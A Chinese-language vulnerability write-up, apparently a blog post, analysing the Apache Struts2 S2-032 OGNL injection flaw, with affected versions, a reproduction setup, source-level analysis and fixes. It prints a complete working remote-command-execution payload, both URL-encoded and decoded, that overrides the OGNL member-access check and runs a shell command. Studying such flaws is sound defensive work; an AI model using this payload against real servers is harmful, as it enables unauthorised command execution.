长亭百川云 - 文章详情

Struts2 系列漏洞 - S2-032

Medi0cr1ty

38

2024-07-13

01

前言

还记得 S2-016 的利用吗?好,大概是不记得的。在 S2-016 中利用了 DefaultActionMapper 中对 url 中 redirect 、 redirectAction 、 action 参数的处理,对 ActionMapping 中 result 属性赋值,之后转发时判断了 result 是否为空,为空则正常的转发去 action 中处理,不为空则直接根据 result 跳过 action 业务逻辑直接返回,而在 StrutsResultSupport 处理时,会对 location 也就是 result 进行 ognl 解析。防御的方法是将 redirect 、 redirectAction 两个特殊参数的处理给去掉了,而对 action 特殊参数的处理也添加了 cleanupActionName 函数对 action 名进行过滤。然而在高版本中,method 这个参数的处理又出了幺蛾子。(为什么低版本没出,因为在低版本的 org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor#getActionMethod 中没找到对应的方法抛出了异常,不会去调用 action 处理)

高版本中判断了一下 devMode ,其值默认为 false ,(低版本中不会判断)故虽然没找到也不会抛出异常,会继续执行下面的逻辑。

02

概述

正如前言所说中 url 中含有特殊参数名 method 时,会对其进行 ognl 表达式解析了。

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-032

影响版本:

Struts 2.3.20 - Struts 2.3.28 ( 除去 2.3.20.3 、 2.3.24.3)

03

复现

环境:

apache-tomcat-6.0.10 、 jdk1.8.0_261 、 struts 2.3.28

从 struts 2.3.15.2 开始 struts.enable.DynamicMethodInvocation 就默认为 false 了。所以为了能够动态执行方法,我们需要在 struts.xml 中将其值设为 true 。

其他没有必要配置,可正常运行即可。

payload:

http://localhost:8080/login.action?method:%23\_memberAccess%3d@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a123,%23w.print(%23str),%23w.close(),%23request.toString&pp=%5C%5CA&encoding=UTF-8&cmd=whoami

解码:

?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():123,#w.print(#str),#w.close(),#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=whoami

04

分析

首先分享一下,纠结了比较久的点吧, payload 中你发现没有对 xwork.MethodAccessor.denyMethodExecution 参数的设置嘛?也怪我一直没仔细去看这个参数,其实前面有的 payload 中对于这个参数的设置也是没必要的,因为在 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 的 finally 中会重新将该值设为 false 。所以只要不是走之前 Params 拦截器中 setParameters 中触发漏洞,理论上都不需要设置这个参数,为什么说理论上,因为我没全试,我只试了 S2-016 ,确实是不需要的。

payload 中还有一点,就是出现了三目运算符,也就是 判断?表达式:表达式 ,刚开始我看着这是啥呢,后来发现 ognl 中也是可以使用三目运算符的。

好了,那我们接下来具体来看。前面的和 S2-016 一样,从 StrutsPrepareAndExecuteFilter 步入,在 org.apache.struts2.dispatcher.mapper.DefaultActionMapper#handleSpecialParameters 中设置了 mapping 中的 method 。

接下来和 S2-016 不同的是,这时候,我们的 result 为 null ,故不会直接返回,而是正常通过 ActionProxy 执行拦截器链,进入调用 action 逻辑。

来到 com.opensymphony.xwork2.DefaultActionInvocation#invokeAction ,在 364 行会进入 com.opensymphony.xwork2.ognl.OgnlUtil#getValue(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, java.lang.Object) 在此处会对 methodName 拼上 () 后进行 ognl 表达式解析。所以在 payload 中 method: 最后有一个 #request.toString 就是为了匹配上 () 。

接下来重点解读一下 payload 。

首先 #parameters.pp[0] 就是从 context 的 parameters 中找到 pp 的值。

所以我们的 payload 其实简化一下就是:

s = new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(whoami).getInputStream()).useDelimiter("\\A")

str = s.hasNext()?s.next:123

@org.apache.struts2.ServletActionContext@getResponse().print(str)

其中 scanner.useDelimiter("\\A") 表示以文本的开头作为分隔符分割文本,也就是获取整段文本内容。

还有一个问题:为什么可以使用 #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 来绕过 struts2 不允许执行静态方法的设置?

先看看 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 是什么

是一个 DefaultMemberAccess 的实例。

 struts 是在方法解析执行前去判断该方法是否可以访问。我们跟到 ognl.OgnlRuntime#isMethodAccessible 这里 context.getMemberAccess() 默认是返回 SecurityMemberAccess 实例。

为什么默认会返回 SecurityMemeberAccess 实例呢?

在最开始org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter#doFilter 中初始化 ActionContext 的 ValueStack ,com.opensymphony.xwork2.ognl.OgnlValueStack#setRoot 中:

 70 行 createDefaultContext 将 securityMemberAccess 传入,最终赋值给 ognl.OgnlContext#_memberAccess 。所以默认会返回 securityMemberAccess 。

那么在 payload 中 #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 将 _memberAccess 覆盖为 DefaultMemberAccess ,故 context.getMemberAccess() 返回 DefaultMemberAccess 实例。然后走 DefaultMemberAccess 的 inAccessible 方法的逻辑。

实现了 MemberAccess 接口的两个类:

ognl.DefaultMemberAccess#isAccessible 这里只判断了方法是否为 public ,是则返回 true ,然后方法执行。

com.opensymphony.xwork2.ognl.SecurityMemberAccess#isAccessible 判断了 allowStaticMethodAccess ,默认为 false 。

05

修复

不允许动态方法调用;

对 ActionMapping 中的 method 赋值时,进行 cleanupActionName 方法的过滤。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2